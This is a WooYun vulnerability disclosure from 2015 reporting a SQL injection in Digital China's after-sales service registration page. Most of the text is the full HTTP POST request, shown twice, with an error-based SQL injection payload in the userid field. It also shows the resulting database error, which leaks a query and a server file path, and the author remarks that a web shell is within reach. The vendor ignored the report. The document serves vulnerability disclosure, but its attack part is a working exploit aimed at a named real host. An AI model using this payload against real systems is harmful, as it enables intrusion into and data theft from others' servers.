当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0113123

漏洞标题：神州数码售后服务管理系统post 注入2

相关厂商：digitalchina.com

漏洞作者： 路人甲

提交时间：2015-05-20 17:15

修复时间：2015-05-25 17:16

公开时间：2015-05-25 17:16

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-20： 细节已通知厂商并且等待厂商处理中
2015-05-25： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

神州数码售后服务管理系统

详细说明：

神州数码售后服务管理系统

31.jpg


在注册页面

32.jpg


POST /index.php/point/checkemail HTTP/1.1
Host: dckf.digitalchina.com
Proxy-Connection: keep-alive
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://dckf.digitalchina.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://dckf.digitalchina.com/index.php/point/register
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ci_session=马赛克


action=save&address=123456&company=123456&email=admintest@admin.com&fax=010-12345678&newpassword=123456789&password=123456789&realname=admintest&sign=1&tel=1&userid='and(select%201%20from(select%20count(*)%2cconcat((select%20concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(118)%2cCHAR(85)%2cCHAR(114)%2cCHAR(99)%2cCHAR(80)%2cCHAR(107)%2cCHAR(97)%2cCHAR(116))%20from%20information_schema.tables%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'&username=admintest


33.jpg


A Database Error Occurred
Error Number: 1062
Duplicate entry '4CuvUrcPkat1' for key 'group_key'
select userid from p_user where (username = 'admintest' or email = 'admintest@admin.com') and userid != ''and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(118),CHAR(85),CHAR(114),CHAR(99),CHAR(80),CHAR(107),CHAR(97),CHAR(116)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and''
Filename: C:\dcoa\htdocs\system\database\DB_driver.php
Line Number: 330


漏洞证明：

神州数码售后服务管理系统

31.jpg


在注册页面

32.jpg


POST /index.php/point/checkemail HTTP/1.1
Host: dckf.digitalchina.com
Proxy-Connection: keep-alive
Content-Length: 35
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://dckf.digitalchina.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.62 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://dckf.digitalchina.com/index.php/point/register
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: ci_session=马赛克


action=save&address=123456&company=123456&email=admintest@admin.com&fax=010-12345678&newpassword=123456789&password=123456789&realname=admintest&sign=1&tel=1&userid='and(select%201%20from(select%20count(*)%2cconcat((select%20concat(CHAR(52)%2cCHAR(67)%2cCHAR(117)%2cCHAR(118)%2cCHAR(85)%2cCHAR(114)%2cCHAR(99)%2cCHAR(80)%2cCHAR(107)%2cCHAR(97)%2cCHAR(116))%20from%20information_schema.tables%20limit%200%2c1)%2cfloor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)and'&username=admintest


33.jpg


A Database Error Occurred
Error Number: 1062
Duplicate entry '4CuvUrcPkat1' for key 'group_key'
select userid from p_user where (username = 'admintest' or email = 'admintest@admin.com') and userid != ''and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(118),CHAR(85),CHAR(114),CHAR(99),CHAR(80),CHAR(107),CHAR(97),CHAR(116)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and''
Filename: C:\dcoa\htdocs\system\database\DB_driver.php
Line Number: 330


其实接下来就好办了。注入点有了，路径有了！getshell 还远嘛？

修复方案：

过滤注入

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-05-25 17:16

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无

漏洞评价：

评论